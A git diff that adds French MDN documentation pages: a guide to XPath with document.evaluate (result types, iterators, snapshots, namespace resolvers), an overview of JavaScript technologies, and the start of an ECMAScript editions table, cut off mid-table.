+<pre>var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+console.log( 'Ce document contient ' + paragraphCount.numberValue + ' éléments de paragraphe' );
+</pre>
+
+<p>Même si JavaScript convertira un nombre en chaîne pour l'affichage, l'interface XPath ne fera pas automatiquement la conversion du résultat numérique si la propriété <code>stringValue</code> est demandée. Ainsi, le code suivant ne fonctionnera <strong>pas</strong> :</p>
+
+<pre>var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+console.log( 'Ce document contient ' + paragraphCount.stringValue + ' éléments de paragraphe' );
+</pre>
+
+<p>Au lieu de cela, il déclenchera une exception portant le code <code>NS_DOM_TYPE_ERROR</code>.</p>
+
+<h4 id="Types_d'ensembles_de_nœuds">Types d'ensembles de nœuds</h4>
+
+<p>L'objet <code>XPathResult</code> permet de renvoyer les ensembles de nœuds sous la forme de trois types principaux :</p>
+
+<ul>
+ <li><a href="#It.C3.A9rateurs">Itérateurs</a></li>
+ <li><a href="#Snapshots">Snapshots</a></li>
+ <li><a href="#Premiers_n.C5.93uds">Premiers nœuds</a></li>
+</ul>
+
+<h5 id="Itérateurs">Itérateurs</h5>
+
+<p>Lorsque le type de résultat spécifié dans le paramètre <code>resultType</code> est soit :</p>
+
+<ul>
+ <li><code>UNORDERED_NODE_ITERATOR_TYPE</code></li>
+ <li><code>ORDERED_NODE_ITERATOR_TYPE</code></li>
+</ul>
+
+<p>L'objet <code>XPathResult</code> renvoyé sera un ensemble de nœuds correspondant à l'expression se comportant comme un itérateur. On pourra accéder individuellement aux nœuds qu'il contient en utilisant la méthode <a class="internal" href="/fr/docs/Web/XPathResult.IterateNext()"><code>iterateNext()</code></a> de l'objet <code>XPathResult</code>.</p>
+
+<p>Lorsque tous les nœuds ont été parcourus, <a class="internal" href="/fr/docs/Web/XPathResult.IterateNext()"><code>iterateNext()</code></a> renverra <code>null</code>.</p>
+
+<p>Notez cependant que si le document est modifié (l'arbre du document est modifié) entre les itérations, l'itérateur sera invalidé et la propriété <code>invalidIteratorState</code> de <code>XPathResult</code> deviendra <code>true</code>. Une exception <code>NS_ERROR_DOM_INVALID_STATE_ERR</code> sera également déclenchée.</p>
+
+<h6 id="Exemple_d'itérateur">Exemple d'itérateur</h6>
+
+<pre>var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
+
+try {
+  var thisNode = iterator.iterateNext();
+
+  while (thisNode) {
+    console.log( thisNode.textContent );
+    thisNode = iterator.iterateNext();
+  }
+}
+catch (e) {
+  console.log( 'Erreur : L\'arbre du document a été modifié pendant l\'itération ' + e );
+}
+</pre>
+
+<h5 id="Snapshots">Snapshots</h5>
+
+<p>Lorsque le type de résultat spécifié dans le paramètre <code>resultType</code> est l'une des valeurs suivantes :</p>
+
+<ul>
+ <li><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></li>
+ <li><code>ORDERED_NODE_SNAPSHOT_TYPE</code></li>
+</ul>
+
+<p>L'objet <code>XPathResult</code> renvoyé sera un ensemble statique de nœuds correspondant à l'expression. L'accès à chaque nœud se fera au travers de la méthode <a class="internal" href="/fr/docs/Web/XPathResult.SnapshotItem()"><code>snapshotItem(itemNumber)</code></a> de l'objet <code>XPathResult</code>, où <code>itemNumber</code> est l'indice du nœud à récupérer. On peut accéder au nombre total de nœuds contenus dans l'ensemble par la propriété <code>snapshotLength</code>.</p>
+
+<p>Les snapshots ne changent pas avec les mutations du document. Aussi, contrairement aux itérateurs, le snapshot ne deviendra pas invalide mais peut ne plus correspondre au document actuel. Par exemple, des nœuds peuvent avoir été déplacés, il peut contenir des nœuds qui n'existent plus ou de nouveaux nœuds peuvent avoir été ajoutés.</p>
+
+<h6 id="Exemple_de_snapshot">Exemple de snapshot</h6>
+
+<pre>var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
+
+for ( var i=0 ; i &lt; nodesSnapshot.snapshotLength; i++ ){
+  console.log( nodesSnapshot.snapshotItem(i).textContent );
+}
+</pre>
+
+<h5 id="Premier_nœud">Premier nœud</h5>
+
+<p>Lorsque le type de résultat spécifié dans le paramètre <code>resultType</code> est l'une des valeurs suivantes :</p>
+
+<ul>
+ <li><code>ANY_UNORDERED_NODE_TYPE</code></li>
+ <li><code>FIRST_ORDERED_NODE_TYPE</code></li>
+</ul>
+
+<p>L'objet <code>XPathResult</code> renvoyé n'est que le premier nœud trouvé correspondant à l'expression XPath. On peut y accéder à l'aide de la propriété <code>singleNodeValue</code> de l'objet <code>XPathResult</code>. Celle-ci vaudra <code>null</code> si l'ensemble de nœuds est vide.</p>
+
+<p>Notez que pour le sous-type non ordonné (le premier), le nœud unique renvoyé ne sera peut-être pas le premier nœud dans l'ordre du document. Dans le cas du sous-type ordonné (le second), vous pouvez être sûr d'obtenir le premier nœud correspondant dans l'ordre du document.</p>
+
+<h6 id="Exemple_de_premier_nœud">Exemple de premier nœud</h6>
+
+<pre class="brush:js">var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
+
+console.log( 'Le premier numéro de téléphone trouvé est ' + firstPhoneNumber.singleNodeValue.textContent );
+</pre>
+
+<h4 id="La_constante_ANY_TYPE">La constante ANY_TYPE</h4>
+
+<p>Lorsque le type de résultat spécifié dans le paramètre <code>resultType</code> est la valeur <code>ANY_TYPE</code>, l'objet <code>XPathResult</code> renvoyé pourra être de n'importe quel type, c'est-à-dire du type résultant le plus naturellement de l'évaluation de l'expression.</p>
+
+<p>Il peut s'agir de n'importe lequel des types simples (<code>NUMBER_TYPE, STRING_TYPE, BOOLEAN_TYPE</code>), <strong>mais</strong> si le type du résultat retourné est un ensemble de nœuds alors il ne pourra être <strong>que</strong> du type <code>UNORDERED_NODE_ITERATOR_TYPE</code>.</p>
+
+<p>Pour déterminer le type utilisé après l'évaluation, on utilisera la propriété <code>resultType</code> de l'objet <code>XPathResult</code>. Les valeurs <a href="#Constantes_d.C3.A9finies_de_XPathResult">constantes</a> de cette propriété sont définies dans l'annexe.</p>
+
+<p><span class="comment">None Yet =====Exemple Any_Type===== &lt;pre&gt; &lt;/pre&gt;</span></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Dans_un_document_HTML">Dans un document HTML</h3>
+
+<p>Le code suivant est destiné à être inséré dans un fragment JavaScript intégré ou lié au document HTML qui devra être évalué par l'expression XPath.</p>
+
+<p>Pour extraire tous les éléments d'en-tête <code>&lt;h2&gt;</code> d'un document HTML à l'aide de XPath, l'expression <code>xpathExpression</code> est simplement '<code>//h2</code>', où <code>//</code> est l'opérateur descendant récursif (ou RDO) qui correspond aux éléments dont la propriété <code>nodeName</code> est <code>h2</code> n'importe où dans l'arbre du document. Le code complet pour cela est : <span class="comment">link to introductory xpath doc</span></p>
+
+<pre class="brush:js">var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
+</pre>
+
+<p>Notez que, comme HTML ne possède pas d'espace de nommage, <code>null</code> a été passé comme paramètre <code>namespaceResolver</code>.</p>
+
+<p>Comme le but est de chercher les en-têtes dans l'intégralité du document, on utilise l'objet <a href="/fr/docs/Web/API/Document/">document</a> lui-même comme paramètre <code>contextNode</code>.</p>
+
+<p>Le résultat de cette expression est un objet <code>XPathResult</code>. Pour connaître le type de résultat renvoyé, il convient d'évaluer la propriété <code>resultType</code> de l'objet renvoyé. Dans notre cas, il sera évalué à <code>4</code>, c'est donc un <code>UNORDERED_NODE_ITERATOR_TYPE</code>. Il s'agit du type de retour par défaut lorsque le résultat de l'expression XPath est un ensemble de nœuds. Il permet d'accéder à un seul nœud à la fois et ne renvoie pas les nœuds dans un ordre particulier. Pour accéder à ceux-ci, on utilise la méthode <code>iterateNext()</code> de l'objet renvoyé :</p>
+
+<pre>var thisHeading = headings.iterateNext();
+
+var alertText = 'Les en-têtes de niveau 2 présents dans ce document sont :\n'
+
+while (thisHeading) {
+  alertText += thisHeading.textContent + '\n';
+  thisHeading = headings.iterateNext();
+}
+</pre>
+
+<p>Une fois l'itération effectuée sur un nœud, nous avons accès à toutes les <a href="/fr/docs/Web/API/Document_Object_Model#Interfaces_du_DOM">Interfaces DOM</a> standards de ce nœud. Après avoir parcouru tous les éléments <code>h2</code> renvoyés à partir de notre expression, chaque nouvel appel à <code>iterateNext()</code> donnera <code>null</code>.</p>
+
+<h3 id="Évaluation_d'un_document_XML_appartenant_à_une_extension">Évaluation d'un document XML appartenant à une extension</h3>
+
+<p>L'exemple suivant utilise un document XML situé à l'adresse <code><a>chrome://yourextension/content/peopleDB.xml</a></code>.</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" &gt;
+  &lt;person&gt;
+	&lt;name first="george" last="bush" /&gt;
+	&lt;address street="1600 pennsylvania avenue" city="washington" country="usa"/&gt;
+	&lt;phoneNumber&gt;202-456-1111&lt;/phoneNumber&gt;
+  &lt;/person&gt;
+  &lt;person&gt;
+	&lt;name first="tony" last="blair" /&gt;
+	&lt;address street="10 downing street" city="london" country="uk"/&gt;
+	&lt;phoneNumber&gt;020 7925 0918&lt;/phoneNumber&gt;
+  &lt;/person&gt;
+&lt;/people&gt;
+</pre>
+
+<p>Pour rendre les contenus du document XML accessibles depuis l'extension, on crée un objet <code><a href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> pour charger le document de façon synchrone. La variable <code>xmlDoc</code> contiendra le document comme un objet <code><a href="/fr/docs/Web/API/XMLDocument">XMLDocument</a></code> sur lequel on pourra utiliser la méthode <code>evaluate</code>.</p>
+
+<p><em>JavaScript utilisé dans les documents XUL/js des extensions.</em></p>
+
+<pre>var req = new XMLHttpRequest();
+
+req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
+req.send(null);
+
+var xmlDoc = req.responseXML;
+
+var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
+
+var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
+</pre>
+
+<h4 id="Note">Note</h4>
+
+<p>Quant l'objet XPathResult n'est pas défini, les constantes peuvent être récupérées dans du code privilégié avec <code>Components.inertfaces.nsIDOMXPathResult.ANY_TYPE(CI.nsIDOMXPathResult)</code>. De la même manière un objet XPathEvaluator peut être créé en utilisant :</p>
+
+<pre>Components.classes["@mozille.org/dom/xpath-evaluator;1"].createInstance(Components.interfaces.nsIDOMXPathEvaluator)</pre>
+
+<h2 id="Annexe">Annexe</h2>
+
+<h4 id="Implémentation_d'un_résolveur_d'espace_de_nommage_personnalisé">Implémentation d'un résolveur d'espace de nommage personnalisé</h4>
+
+<p>Cet exemple ne sert que d'illustration. Cette fonction nécessitera de prendre les préfixes d'espaces de nommage depuis la <code>xpathExpression</code> et retourne l'URI correspondante à ces préfixes. Par exemple, l'expression :</p>
+
+<pre>'//xhtml:td/mathml:math'
+</pre>
+
+<p>sélectionnera toutes les expressions <a href="/fr/MathML">MathML</a> qui sont les descendantes des éléments (X)HTML de cellules de tableau.</p>
+
+<p>Afin d'associer le préfixe <code>mathml:</code> avec l'URI d'espace de nommage '<code><a href="http://www.w3.org/1998/Math/MathML">http://www.w3.org/1998/Math/MathML</a></code>' et <code>xhtml:</code> avec l'URI <code><a href="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code>, nous fournissons une fonction :</p>
+
+<pre>function nsResolver(prefix) {
+  var ns = {
+    'xhtml' : 'http://www.w3.org/1999/xhtml',
+    'mathml': 'http://www.w3.org/1998/Math/MathML'
+  };
+  return ns[prefix] || null;
+}
+</pre>
+
+<p>L'appel à <code>document.evaluate</code> ressemblera alors à :</p>
+
+<pre class="eval">document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
+</pre>
+
+<h4 id="Implémentation_d'un_espace_de_nommage_par_défaut_pour_les_documents_XML">Implémentation d'un espace de nommage par défaut pour les documents XML</h4>
+
+<p>Comme nous l'avons vu précédemment dans la section <a href="#Impl.C3.A9mentation_d.27un_r.C3.A9solveur_d.27espaces_de_nommage_par_d.C3.A9faut">#Implémentation d'un résolveur d'espaces de nommage par défaut</a>, le résolveur par défaut ne gère pas l'espace de nommage par défaut pour les documents XML. Par exemple, avec ce document :</p>
+
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;feed xmlns="http://www.w3.org/2005/Atom"&gt;
+    &lt;entry /&gt;
+    &lt;entry /&gt;
+    &lt;entry /&gt;
+&lt;/feed&gt;
+</pre>
+
+<p><code>doc.evaluate('//entry', doc, nsResolver, XPathResult.ANY_TYPE, null)</code> retournera un ensemble vide, où <code>nsResolver</code> est le résolveur retourné par <code>createNSResolver</code>. Passé un résolveur <code>null</code> ne fonctionne pas mieux.</p>
+
+<p>Une alternative possible est de créer un résolveur personnalisé qui retournera le bon espace de nommage (l'espace de nommage <em>Atom</em> dans ce cas). Par exemple :</p>
+
+<pre> function resolver() {
+     return 'http://www.w3.org/2005/Atom';
+ }
+ doc.evaluate('//entry', doc, resolver, XPathResult.ANY_TYPE, null)
+</pre>
+
+<p>Un résolveur plus complexe sera nécessaire si le document utilise de multiple espaces de nommage.</p>
+
+<p>Une approche qui peut potentiellement mieux fonctionner (et autoriser les espaces de nom à ne pas être connus au fil du temps) est décrite dans la section suivante.</p>
+
+<h4 id="Utiliser_les_fonctions_XPath_pour_référencer_les_éléments_avec_un_espace_de_nom_par_défaut">Utiliser les fonctions XPath pour référencer les éléments avec un espace de nom par défaut</h4>
+
+<p>Une autre approche pour identifier les éléments par défaut dans un espace de noms non-null (et qui fonctionne bien pour les expressions XPath dynamiques où les espaces de noms peuvent ne pas être connus) implique la référence à un élément particulier en utilisant un formulaire tel que <code>[namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_monid']</code>. Cela évite les problèmes résultant en une requête XPath qui n'est pas capable de détecter l'espace de noms par défaut sur un élément labelisé correctement.</p>
+
+<h4 id="Obtenir_des_éléments_et_des_attributs_d'un_espace_de_noms_spécifique_en_ignorant_le_préfixe">Obtenir des éléments et des attributs d'un espace de noms spécifique en ignorant le préfixe</h4>
+
+<p>Si l'on souhaite avoir une certaine flexibilité dans les espaces de noms en ne nécessitant pas d'utiliser un préfixe spécifique lorsque l'on veut trouver un élément ou un attribut appartenant à un espace de noms, on doit utiliser des techniques spéciales.</p>
+
+<p>Tandis que l'on peut adapter la technique dans la section supérieure pour tester les éléments appartenant à un espace de noms sans regarder le préfix choisi (en utilisant <a href="/XPath/Functions/local-name">local-name()</a> combiné avec <a href="/XPath/Functions/namespace-uri">namespace-uri()</a> à la place de <a href="/XPath/Functions/name">name()</a>), un situation plus compliquée apparaît cependant, si l'on souhaite obtenir un élément avec un attribut appartenant à un espace de noms spécifique dans un prédicat (étant donnée l'absence des variables indépendantes de l'implémentation en XPath 1.0).</p>
+
+<p>Par exemple, on peut essayer (de manière incorrecte) d'obtenir un élément avec un attribut appartenant à un espace de noms de la manière suivante : <code>var xpathlink = someElements[local-name(@*)="href" and namespace-uri(@*)='http://www.w3.org/1999/xlink'];</code></p>
+
+<p>Cela pourrait récupérer des éléments par inadvertance si un de ces attributs existaient avec un nom local "<code>href</code>", mais que c'était un autre attribut qui avait le nom d'espace ciblé (XLink, à la place de <a href="/XPath/Axes/attribute">@href</a>).</p>
+
+<p>Afin d'obtenir des éléments avec l'attribut XLink <code>@href</code> de manière précise (sans par ailleurs être obligé de définir des préfixes dans un résolveur de nom d'espaces), on procéder comme suit :</p>
+
+<pre>var xpathEls = 'someElements[@*[local-name() = "href" and manespace-uri() = "http://www.w3.org/1999/xlink"]]'; // Récupère les éléments avec un simple attribute qui a à la fois le nom local 'href' and l'espace de noms XLink
+var thislevel = xml.evaluate(xpathEls, xml, null, XPathResult.ANY_TYPE, null);
+var thisitemEl = thislevel.iterateNext();
+</pre>
+
+<h4 id="Constantes_définies_de_XPathResult">Constantes définies de XPathResult</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constante du type de résultat</td>
+   <td class="header">Valeur</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>ANY_TYPE</td>
+   <td>0</td>
+   <td>Un ensemble contenant n'importe quel type qui résulte naturellement de l'évaluation de l'expression. Notez que si c'est un ensemble de noeuds qui doit être retourné, alors le type résultant sera toujours UNORDERED_NODE_ITERATOR_TYPE.</td>
+  </tr>
+  <tr>
+   <td>NUMBER_TYPE</td>
+   <td>1</td>
+   <td>Un résultat contenant un seul nombre. C'est utile, par exemple, dans une expression XPath utilisant la fonction <code>count()</code>.</td>
+  </tr>
+  <tr>
+   <td>STRING_TYPE</td>
+   <td>2</td>
+   <td>Un résultat contenant une seule chaîne de caractère.</td>
+  </tr>
+  <tr>
+   <td>BOOLEAN_TYPE</td>
+   <td>3</td>
+   <td>Un résultat contenant une seule valeur booléenne. C'est utile, par exemple, dans une expression XPath utilisant la fonction <code>not()</code>.</td>
+  </tr>
+  <tr>
+   <td>UNORDERED_NODE_ITERATOR_TYPE</td>
+   <td>4</td>
+   <td>Un ensemble de nœuds contenant tous les nœuds vérifiant l'expression. Les nœuds ne sont pas nécessairement dans le même ordre que celui dans lequel ils apparaissent dans le document.</td>
+  </tr>
+  <tr>
+   <td>ORDERED_NODE_ITERATOR_TYPE</td>
+   <td>5</td>
+   <td>Un ensemble de nœuds contenant tous les nœuds vérifiant l'expression. Les nœuds du résultat sont dans le même ordre que celui dans lequel ils apparaissent dans le document.</td>
+  </tr>
+  <tr>
+   <td>UNORDERED_NODE_SNAPSHOT_TYPE</td>
+   <td>6</td>
+   <td>Un ensemble de nœuds contenant les snapshots de tous les nœuds vérifiant l'expression. Les nœuds ne sont pas nécessairement dans le même ordre que celui dans lequel ils apparaissent dans le document.</td>
+  </tr>
+  <tr>
+   <td>ORDERED_NODE_SNAPSHOT_TYPE</td>
+   <td>7</td>
+   <td>Un ensemble de nœuds contenant les snapshots de tous les nœuds vérifiant l'expression. Les nœuds du résultat sont dans le même ordre que celui dans lequel ils apparaissent dans le document.</td>
+  </tr>
+  <tr>
+   <td>ANY_UNORDERED_NODE_TYPE</td>
+   <td>8</td>
+   <td>Un ensemble de nœuds contenant un seul nœud vérifiant l'expression. Le nœud n'est pas nécessairement le premier dans l'ordre du document qui correspond à l'expression.</td>
+  </tr>
+  <tr>
+   <td>FIRST_ORDERED_NODE_TYPE</td>
+   <td>9</td>
+   <td>Un ensemble de nœuds contenant le premier nœud du document vérifiant l'expression.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/XPath">XPath</a></li>
+ <li><a href="http://www.xml.com/pub/a/2000/08/holman/index.html?page=2#xpath-info">XML Path Language</a> de <em><a href="http://www.xml.com/pub/a/2000/08/holman/">What is XSLT?</a></em> par G. Ken Holman</li>
+</ul>
diff --git a/files/fr/web/javascript/javascript_technologies_overview/index.html b/files/fr/web/javascript/javascript_technologies_overview/index.html
new file mode 100644
index 0000000000..7e9491ec06
--- /dev/null
+++ b/files/fr/web/javascript/javascript_technologies_overview/index.html
@@ -0,0 +1,85 @@
+---
+title: Survol des technologies JavaScript
+slug: Web/JavaScript/JavaScript_technologies_overview
+tags:
+  - Beginner
+  - DOM
+  - JavaScript
+translation_of: Web/JavaScript/JavaScript_technologies_overview
+---
+<div>{{JsSidebar("Introductory")}}</div>
+
+<h2 id="Introduction">Introduction</h2>
+
+<p><a href="/fr/docs/Web/HTML">HTML</a> est utilisé pour définir la structure et le contenu d'une page web, <a href="/fr/docs/Web/CSS">CSS</a> permet de définir la mise en forme, le style graphique avec lequel afficher le contenu. <a href="/fr/docs/Web/JavaScript">JavaScript</a> permet quant à lui d'ajouter des fonctionnalités d'interaction pour créer des applications web riches en contenu.</p>
+
+<p>Cependant, le terme « JavaScript » au sens large regroupe divers éléments très différents : le langage cœur (ECMAScript) d'une part et les <a href="/fr/docs/Web/Reference/API">API Web</a> d'autre part et notamment le DOM (Document Object Model, ou Modèle d'Objet du Document).</p>
+
+<h2 id="JavaScript_le_langage_(ECMAScript)">JavaScript, le langage (ECMAScript)</h2>
+
+<p>Le langage JavaScript (au sens strict) est standardisé par le comité ECMA TC39 sous la forme d'un langage intitulé <a href="/fr/docs/Web/JavaScript/Language_Resources">ECMAScript</a>.</p>
+
+<p>Ce langage est aussi utilisé dans des environnements différents des navigateurs web, comme par exemple dans <a href="https://nodejs.org/">node.js</a>.</p>
+
+<h3 id="Quelles_sont_les_caractéristiques_d'ECMAScript">Quelles sont les caractéristiques d'ECMAScript?</h3>
+
+<p>Entre autres choses, ECMAScript définit :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">La syntaxe du langage</a> (règles d'interprétation (parsing), mots-clés, flux d'instructions, initialisation littérale d'objets...)</li>
+ <li>Le mécanisme de traitement d'erreurs ({{jsxref("Instructions/throw","throw")}}, {{jsxref("Instructions/try...catch","try...catch")}} capacité qu'a l'utilisateur de créer des types d'erreurs personnalisés)</li>
+ <li>Les types de variables (booléen, nombre, chaîne de caractères, fonction, objet...)</li>
+ <li>L'objet global. Dans l'environnement d'un navigateur, cet objet global est l'objet {{domxref("Window","window")}}. ECMAScript ne définit ici que les API accessibles depuis l'objet global (peu importe l'environnement qui peut être différent d'un navigateur) (par exemple {{jsxref("parseInt","parseInt()")}}, {{jsxref("parseFloat","parseFloat()")}}, {{jsxref("decodeURI","decodeURI()")}}, {{jsxref("encodeURI","encodeURI()")}}...)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">Le mécanisme d'héritage</a> basé sur le concept de prototype</li>
+ <li>Les objets et fonctions natifs ({{jsxref("JSON")}}, {{jsxref("Math")}}, méthodes de<code> </code> {{jsxref("Array.prototype")}}, méthodes d'introspection d'<code>Object</code>...)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a>.</li>
+</ul>
+
+<h3 id="Support_des_navigateurs">Support des navigateurs</h3>
+
+<p>En octobre 2016, les versions actuelles des principaux navigateurs web supportent <a href="/fr/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a> et <a href="/fr/docs/Web/JavaScript/Nouveaut%C3%A9s_et_historique_de_JavaScript/Support_ECMAScript_6_par_Mozilla">ECMAScript 2015 (aussi appelé ES6)</a> mais certaines anciennes versions n'implémentent que ECMAScript 5.</p>
+
+<h3 id="Futur">Futur</h3>
+
+<p>La sixième édition majeure d'ECMAScript a été officiellement approuvée et publiée en tant que standard le 17 juin 2015 par l'assemblée générale ECMA. Depuis cette édition, les éditions ECMAScript sont publiées à un rythme annuel.</p>
+
+<h3 id="API_d'internationalisation">API d'internationalisation</h3>
+
+<p>La <a href="http://ecma-international.org/ecma-402/1.0/">spécification ECMAScript pour l'API d'internationalisation</a> est un ajout à la spécification du langage ECMAScript, également standardisée par ECMA TC39. L'API d'internationalisation ajoute la collation (c'est-à-dire la comparaison entre chaînes de caractères), le formatage de nombres, dates et heures dans les applications JavaScript en prenant en compte la locale de l'utilisateur pour fournir le meilleur format. Le standard initial a été aprouvé en décembre 2012 ; le statut de son implémentation dans les différents navigateurs est disponible sur la page de l'objet {{jsxref("Intl")}}. La spécification d'internationalisation est également ratifiée annuellement et les navigateurs améliorent leur implémentation au fur et à mesure.</p>
+
+<h2 id="Les_API_du_DOM_(Document_Object_Model)">Les API du DOM (<em>Document Object Model</em>)</h2>
+
+<h3 id="WebIDL">WebIDL</h3>
+
+<p>La <a href="http://www.w3.org/TR/WebIDL/">spécification WebIDL</a> fournit le lien entre les technologies DOM et ECMAScript.</p>
+
+<h3 id="Le_cœur_du_DOM">Le cœur du DOM</h3>
+
+<p>Le Modèle d'Objet du Document (<em>Document Object Model</em> ou DOM en anglais) est une convention multi-plateforme, indépendante du langage utilisée pour représenter et interagir avec les objets dans les documents HTML, XHTML et XML. Les objets de <strong>l'arbre du DOM</strong> peuvent être accédés et manipulés en utilisant des méthodes sur les objets. Les fonctionnalités principales du DOM sont standardisées par le {{Glossary("W3C")}}. Il définit les interfaces offertes par les documents HTML et XML sans cibler un langage de manipulation précis. Parmi les éléments définis par le DOM, on peut trouver:</p>
+
+<ul>
+ <li>La structure du document, un modèle d'arbre et l'architecture d'événements DOM dans le <a href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">noyau DOM</a> : {{domxref("Node")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}, {{domxref("Document")}}, {{domxref("DOMImplementation")}}, {{domxref("Event")}}, {{domxref("EventTarget")}}, …</li>
+ <li>Une définition moins rigoureuse de l'architecture d'événements DOM, ainsi que des événements spécifiques avec <a href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">les événements DOM</a>.</li>
+ <li>D'autres éléments tels que le <a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html">DOM Traversal</a> et le <a href="http://html5.org/specs/dom-range.html">DOM Range</a>.</li>
+</ul>
+
+<p>Du point de vue d'ECMAScript, les objets définis dans la spécification DOM sont appelés des « objets hôtes ».</p>
+
+<h3 id="Le_DOM_HTML">Le DOM HTML</h3>
+
+<p><a href="/fr/docs/Web/HTML">HTML</a>, le langage de balisage du Web, est spécifié en termes de DOM. Comme une couche au-dessus des concepts abstraits définis dans DOM Core, HTML définit également la <em>signification </em>des éléments. Le DOM HTML inclut des choses telles que la propriété <code>className</code> sur des éléments HTML, or des API telles que {{domxref("document.body")}}.<br>
+ <br>
+ La spécification HTML définit aussi les restrictions sur les documents ; par exemple, elle requiert que tous les enfants d'un élément {{HTMLRef("ul")}} (une liste non-ordonnée) soient des éléments {{HTMLRef("li")}}, puisqu'ils représentent les éléments d'une liste. En général, cela interdit aussi l'utilisation d'éléments et d'attributs qui ne sont pas définis dans un certain standard.<br>
+ <br>
+ Si vous cherchez la documentation sur l'objet {{domxref("Document")}}, l'objet {{domxref("Window")}} ou sur les autres éléments du DOM, vous pouvez lire <a href="/fr/docs/Web/API/Référence_du_DOM_Gecko">la documentation relative au DOM</a>.</p>
+
+<h2 id="D'autres_API_fréquemment_utilisées">D'autres API fréquemment utilisées</h2>
+
+<ul>
+ <li>Les fonctions {{domxref("WindowTimers.setTimeout", "setTimeout")}} et {{domxref("WindowTimers.setInterval", "setInterval")}} ont d'abord été spécifiées dans l'interface {{domxref("Window")}} du standard HTML.</li>
+ <li><a href="https://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html" title="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/">XMLHttpRequest</a> : une API qui permet d'envoyer des requêtes HTTP asynchrones (voir aussi : <a href="/fr/docs/Web/API/XMLHttpRequest">la page MDN sur XMLHttpRequest</a>)</li>
+ <li><a href="http://dev.w3.org/csswg/cssom/">CSS Object Model</a> : le CSSOM est utilisé pour abstraire les règles CSS sous forme d'objets. (voir aussi : <a href="/fr/docs/Web/API/CSS_Object_Model">la page MDN sur CSSOM</a>)</li>
+ <li><a href="https://html.spec.whatwg.org/multipage/workers.html">WebWorkers</a> : une API qui permet d'effectuer des calculs parallèles (voir aussi : <a href="/fr/docs/Web/API/Web_Workers_API">la page MDN sur cette API</a>)</li>
+ <li><a href="https://html.spec.whatwg.org/multipage//#network">WebSockets</a> : une API qui permet d'effectuer des communications bi-directionnelles de bas-niveau (voir aussi : <a href="/fr/docs/WebSockets">la page MDN sur cette API</a>)</li>
+ <li><code><a href="https://html.spec.whatwg.org/multipage/scripting.html#2dcontext">Canvas2DContext</a></code> : Une API de dessin pour l'élément {{htmlelement("canvas")}}.</li>
+</ul>
diff --git a/files/fr/web/javascript/language_resources/index.html b/files/fr/web/javascript/language_resources/index.html
new file mode 100644
index 0000000000..34311b860e
--- /dev/null
+++ b/files/fr/web/javascript/language_resources/index.html
@@ -0,0 +1,151 @@
+---
+title: ECMAScript
+slug: Web/JavaScript/Language_Resources
+tags:
+  - Avancé
+  - JavaScript
+translation_of: Web/JavaScript/Language_Resources
+---
+<div>{{JsSidebar}}</div>
+
+<p><strong>ECMAScript</strong> est un langage de script qui forme la base de <a href="/fr/docs/Web/JavaScript">JavaScript</a>. ECMAScript est standardisé par l'organisation <a href="https://www.ecma-international.org/">ECMA International</a> grâce aux spécifications <strong>ECMA-262 et ECMA-402</strong>. Les standards ECMAScript suivants ont été approuvés ou sont en cours de rédaction:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Nom</th>
+   <th>Lien</th>
+   <th>Date de publication</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <th colspan="4">Éditions actuelles</th>
+  </tr>
+  <tr>
+   <td>ECMA-262 10<sup>e</sup> édition</td>
+   <td><a href="https://tc39.github.io/ecma262/">Brouillon de travail</a></td>
+   <td>2019</td>
+   <td>Spécification du langage ECMAScript 2019</td>
+  </tr>
+  <tr>
+   <td>ECMA-262, 9<sup>e</sup> édition</td>
+   <td><a href="http://ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="http://ecma-international.org/ecma-262/9.0/index.html#Title">HTML</a>, <br>
+    <a href="https://tc39.github.io/ecma262/">Brouillon de travail</a>, <a href="https://github.com/tc39/ecma262">dépôt</a></td>
+   <td>2018</td>
+   <td>Spécification du langage ECMAScript 2018</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 5<sup>e</sup> édition</td>
